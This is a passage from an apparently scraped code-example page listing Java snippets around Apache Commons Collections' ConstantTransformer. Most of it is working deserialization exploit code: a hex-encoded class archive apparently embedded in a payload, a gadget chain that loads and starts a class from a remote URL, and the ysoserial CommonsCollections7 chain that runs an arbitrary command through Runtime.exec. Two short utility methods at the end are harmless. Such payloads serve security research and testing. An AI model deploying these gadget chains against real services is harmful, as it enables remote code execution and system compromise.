8a89e52bb19a3dde7c6c558e3af8e50d8140eb4568efb0a3f0b680270696f007e8a505fcd6f05b8d106a4b9b031b39bb8c5bf68afde280b0fcc20acc206c555d42e360d3452cdbef8ba9be9816597e59b3aa232baca02fb6a47d1acd07ee9fc63d969f6dd40a84ab2f6b8355e1aafe4155369a6cc255618dadeab51a5b4b37fd66f534da639aa129af8933867a4e842e61e3a059ed33b48b78c0aa316b225ba6f1092b1479d00cf9364e63fb596c3203915dd3d8338d6e33308d9e4b3838d87611fd56ad591b59e1091e356ba7f1986c068be278e4f19b7ba7cc2a33e467ff3372f53446ac709d1f74a5cec726e28bd517d16ed4b3dfe08b194584cd06c330eb0c6353ffb386300ca3fef51bd7cd88d93003db8a9861b38ef60fc6ea95f337fe644666cf714320922a195744d00c9891b299c51bf53cf3a6b434377723f244d9b8b9ff4ad3aca03fb6c41f538b73ff3254fff9b9bf1b1aada9f1c542d29a1a2364561b215a131246c8d0a435ba59338389b3d019099fdcf8a6b042c692b35821913183be8b70ad9019326b080cd714d15812f8170acc90046bce69406106278b73472df5766311b034c6f7f30cf7178a586b2d2d32e28db76602d652b3f1b78bc6ef90535745afe8c369d42a24224e2b8a52a734e069a551695656e169ce372a6bc8b8a8b25ed9c4f9adca0e6517e73dd68a67781f812c55c8513f59aa220c7951d5a29e3c6dc07218686679be174b11e54c1b4cbe289a10a3641b56f05e6a461a77c1e553e92453e639dc831759d3cf71c78f701f537a0ddec25afc82df0bd4f01bb4e0777ce3fc819aaea01d57b10eef33a5ae51eb75be573fe05dff2136e1233cc014da2caaf81c09f3dbc497c86abe5b36c0125bd02976f225b21b0f8a87b15df4628738849de2301f16a37c38e4b0474c62af78120f89d3e81667b04fbcc827c214e2e2557edfe093e05df4885fa157cce011c1708959be007e8f7ef1471c1257f8fd332ffbab7854fc0d8f89f73028fe8121f14f7eaf61585ce78dfe018e880f7993ff0f2b89faa8a2e0a8c24b58a9c3b8d288b4d28409a51919227f4c8972dccef17a8e3723ab6ce5781bc73b38de83e3b262d0bf15b22ae08b7856561cf69ec3975833146537be8c338c8f5fe9c257f03c8b91aa6cc70bf82ae315a49eaf11ef00a3bc055fc74bac42cbc5bff132b5a868a6d5df604fe3ebf43d7c1353ac4451f1577c8b9a837c65fe05dfc677787a52bc82ef52aaf3cc8f7096d21aeafc0f63f83db2e20223ff7dbc4246bc0f07afe235f6ae611ce7694198314be075eead63e41ec70fd88b307e83f821cfad67045793055368103e6af931e70c46aa163f4111b58cc9519e31851af1f2bc34c438c4bcd34244b4c15ba7d2563e6ee68bef187d95457965eb6cdbec91cbdafe565fbbaf7576066fb4f9dae51c7bed6fdf2cca118204e4094181269e20694f7a05faee9212d272caabf02bf14bf6789391ee6fb3a7b05f2aedeffe1f504b0708e5e0f6f8240800004b0d0000504b01021400140008080800d6a59b47b27f02ee1b000000190000001400040000000000000000000000000000004d4554412d494e462f4d414e49464553542e4d46feca0000504b01021400140008080800cda59b47e5e0f6f8240800004b0d00001b00000000000000000000000000610000006f72672f6865797365632f6578702f5365727665722e636c617373504b050600000000020002008f000000ce0800000000")}), new ConstantTransformer(Integer.valueOf(1))};
    return generateObject(transformers);
}
 
Example #20
Source File: Payload.java    From security with GNU General Public License v3.0 4 votes vote down vote up
public static byte[] generateStartPayload(String remoteClassPath, String remotePath, int port) throws Exception {
    Transformer[] transformers = new Transformer[]{new ConstantTransformer(URLClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{URL[].class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new URL[]{new URL(remoteClassPath)}}}), new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"org.heysec.exp.Server"}), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"start", new Class[]{Integer.TYPE, String.class}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{Integer.valueOf(port), remotePath}})};
    return generateObject(transformers);
}
 
Example #21
Source File: CommonsCollections7.java    From ysoserial with MIT License 4 votes vote down vote up
public Hashtable getObject(final String command) throws Exception {

        // Reusing transformer chain and LazyMap gadgets from previous payloads
        final String[] execArgs = new String[]{command};

        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

        final Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec",
                new Class[]{String.class},
                execArgs),
            new ConstantTransformer(1)};

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

        // Needed to ensure hash collision after previous manipulations
        lazyMap2.remove("yy");

        return hashtable;
    }
 
Example #22
Source File: TransformerUtils.java    From Penetration_Testing_POC with Apache License 2.0 2 votes vote down vote up
/**
 * Gets a transformer that always returns null.
 * 
 * @see org.apache.commons.collections.functors.ConstantTransformer
 * 
 * @return the transformer
 */
public static Transformer nullTransformer() {
    return ConstantTransformer.NULL_INSTANCE;
}
 
Example #23
Source File: TransformerUtils.java    From Penetration_Testing_POC with Apache License 2.0 2 votes vote down vote up
/**
 * Creates a Transformer that will return the same object each time the 
 * transformer is used.
 *
 * @see org.apache.commons.collections.functors.ConstantTransformer
 * 
 * @param constantToReturn  the constant object to return each time in the transformer
 * @return the transformer.
 */
public static Transformer constantTransformer(Object constantToReturn) {
    return ConstantTransformer.getInstance(constantToReturn);
}